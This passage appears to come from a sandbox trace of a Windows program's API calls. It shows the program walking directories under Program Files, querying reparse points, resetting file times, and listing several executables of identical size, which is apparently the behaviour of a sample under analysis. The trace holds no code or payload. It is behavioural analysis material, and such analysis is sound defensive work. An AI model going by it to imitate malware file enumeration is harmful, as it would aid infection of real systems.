ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YST9", cAlternateFileName="")) returned 1 [0088.918] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YST9YDT", cAlternateFileName="")) returned 1 [0088.918] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YST9YDT", cAlternateFileName="")) returned 0 [0088.918] GetLastError () returned 0x12 [0088.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.918] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0088.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.919] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WET", cAlternateFileName="")) returned 1 [0088.919] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoneInfoMappings", cAlternateFileName="")) returned 1 [0088.919] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoneInfoMappings", cAlternateFileName="")) returned 0 [0088.919] GetLastError () returned 0x12 [0088.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.919] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.920] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zi", cAlternateFileName="")) returned 0 [0088.920] GetLastError () returned 0x12 [0088.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e250) returned 1 [0088.920] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0088.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e1c8) returned 1 [0088.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0088.921] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0088.921] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0088.921] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0088.921] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="")) returned 1 [0088.921] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b350, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="")) returned 1 [0088.921] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="")) returned 1 [0088.921] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="")) returned 0 [0088.921] GetLastError () returned 0x12 [0088.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0088.921] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0088.922] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb3ad80, ftCreationTime.dwHighDateTime=0x1d5394d, ftLastAccessTime.dwLowDateTime=0x28534170, ftLastAccessTime.dwHighDateTime=0x1d53aee, ftLastWriteTime.dwLowDateTime=0x28534170, ftLastWriteTime.dwHighDateTime=0x1d53aee, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0088.922] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cde90e0, ftCreationTime.dwHighDateTime=0x1d56ff1, ftLastAccessTime.dwLowDateTime=0x300ddb0, ftLastAccessTime.dwHighDateTime=0x1d5a65f, ftLastWriteTime.dwLowDateTime=0x300ddb0, ftLastWriteTime.dwHighDateTime=0x1d5a65f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0088.922] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cde90e0, ftCreationTime.dwHighDateTime=0x1d56ff1, ftLastAccessTime.dwLowDateTime=0x300ddb0, ftLastAccessTime.dwHighDateTime=0x1d5a65f, ftLastWriteTime.dwLowDateTime=0x300ddb0, ftLastWriteTime.dwHighDateTime=0x1d5a65f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 0 [0088.922] GetLastError () returned 0x12 [0088.922] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0088.922] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0ecd590, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ecd590, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0088.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0088.922] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services" (normalized: "c:\\program files (x86)\\microsoft analysis services"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0ecd590, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ecd590, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0088.923] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services" (normalized: "c:\\program files (x86)\\microsoft analysis services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0088.923] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0088.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333360 [0088.923] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333360, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x1333360, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0088.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333360) returned 1 [0088.923] NtClose (Handle=0x180) returned 0x0 [0088.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0088.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0088.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0088.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.925] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0088.925] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0ecd590, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ecd590, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.925] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5790560, ftCreationTime.dwHighDateTime=0x1d5c427, ftLastAccessTime.dwLowDateTime=0x7d6dcdb0, ftLastAccessTime.dwHighDateTime=0x1d5b33e, ftLastWriteTime.dwLowDateTime=0x7d6dcdb0, ftLastWriteTime.dwHighDateTime=0x1d5b33e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="approaches.exe", cAlternateFileName="")) returned 1 [0088.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.926] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="")) returned 1 [0088.926] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa3ade0, ftCreationTime.dwHighDateTime=0x1d5685c, ftLastAccessTime.dwLowDateTime=0xba6962b0, ftLastAccessTime.dwHighDateTime=0x1d5a0d3, ftLastWriteTime.dwLowDateTime=0xba6962b0, ftLastWriteTime.dwHighDateTime=0x1d5a0d3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mhplotvelvet.exe", cAlternateFileName="")) returned 1 [0088.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.928] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacdd5010, ftCreationTime.dwHighDateTime=0x1d57be5, ftLastAccessTime.dwLowDateTime=0xd4d2c90, ftLastAccessTime.dwHighDateTime=0x1d5a9f9, ftLastWriteTime.dwLowDateTime=0xd4d2c90, ftLastWriteTime.dwHighDateTime=0x1d5a9f9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="threshold.exe", cAlternateFileName="")) returned 1 [0088.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.929] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacdd5010, ftCreationTime.dwHighDateTime=0x1d57be5, ftLastAccessTime.dwLowDateTime=0xd4d2c90, ftLastAccessTime.dwHighDateTime=0x1d5a9f9, ftLastWriteTime.dwLowDateTime=0xd4d2c90, ftLastWriteTime.dwHighDateTime=0x1d5a9f9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="threshold.exe", cAlternateFileName="")) returned 0 [0088.929] GetLastError () returned 0x12 [0088.929] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9040 [0088.929] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0088.929] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0ecd590, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ecd590, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.929] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5790560, ftCreationTime.dwHighDateTime=0x1d5c427, ftLastAccessTime.dwLowDateTime=0x7d6dcdb0, ftLastAccessTime.dwHighDateTime=0x1d5b33e, ftLastWriteTime.dwLowDateTime=0x7d6dcdb0, ftLastWriteTime.dwHighDateTime=0x1d5b33e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="approaches.exe", cAlternateFileName="")) returned 1 [0088.929] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="")) returned 1 [0088.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0088.930] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0088.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333360 [0088.930] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333360, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1333360, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0088.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333360) returned 1 [0088.931] NtClose (Handle=0x180) returned 0x0 [0088.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0088.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0088.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee9b8 [0088.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0088.932] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0088.932] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.932] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0088.932] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0088.932] GetLastError () returned 0x12 [0088.932] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0088.932] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0088.932] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.932] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0088.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0088.932] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10"), fInfoLevelId=0x0, 